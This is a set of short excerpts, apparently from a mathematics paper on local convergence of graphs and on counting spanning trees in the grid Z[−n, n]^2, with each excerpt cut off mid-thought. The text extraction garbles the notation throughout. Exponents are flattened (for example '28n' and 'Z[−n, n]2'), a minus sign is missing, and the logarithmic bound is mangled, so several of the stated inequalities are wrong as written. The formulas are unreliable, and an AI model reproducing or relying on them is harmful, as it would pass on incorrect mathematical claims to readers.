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LOCAL CONVERGENCE OF GRAPHS AND ENUMERATION OF SPANNING TREES MUSTAZEE RAHMAN 1. Introduction A spanning tree in a connected graph G is a subgraph that contains every vertex of G and is itself a tree. Clearly, if G is a tree then it has only one spanning tree. Every connected graph contains at least one spanning tree: ...
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Z2. There are exponentially many spanning trees in Z[−n, n]2 in terms of its size. Indeed, let us see that any spanning tree in Z[−n + 1, n − 1]2 can be extended to at least 28n different spanning trees in Z[−n, n]2. Consider the boundary of Z[−n, n]2 which has 8n vertices of the form (±n, y) or (x, ±n). There are four ...
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2. The argument above shows that sptr(Z[−n, n]2) ≥ 28nsptr(Z[−n + 1, n − 1]2), from which it follows that sptr(Z[ n, n]2) ≥ 24n(n+1). As |Z[−n, n]2| = (2n + 1)2 we deduce that log sptr(Z[−n, n]2 )/|Z[−n, n] | ≥ log 2(1 + 2 O(n−2)). It turns out that there is a limiting value of log sptr(Z[−n, n]2)/|Z[−n, n]2| as n → ∞,...
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in G rooted at x. The distance between two (isomorphism classes of) rooted graphs (G, x) and (H, y) is 1/(1 + R) where R = min{r : Nr(G, x) ∼= Nr(H, y)}. Let G denote the set of isomorphism classes of connected rooted graphs such that all degrees are bounded by ∆. For concreteness we may assume that all these graphs ha...
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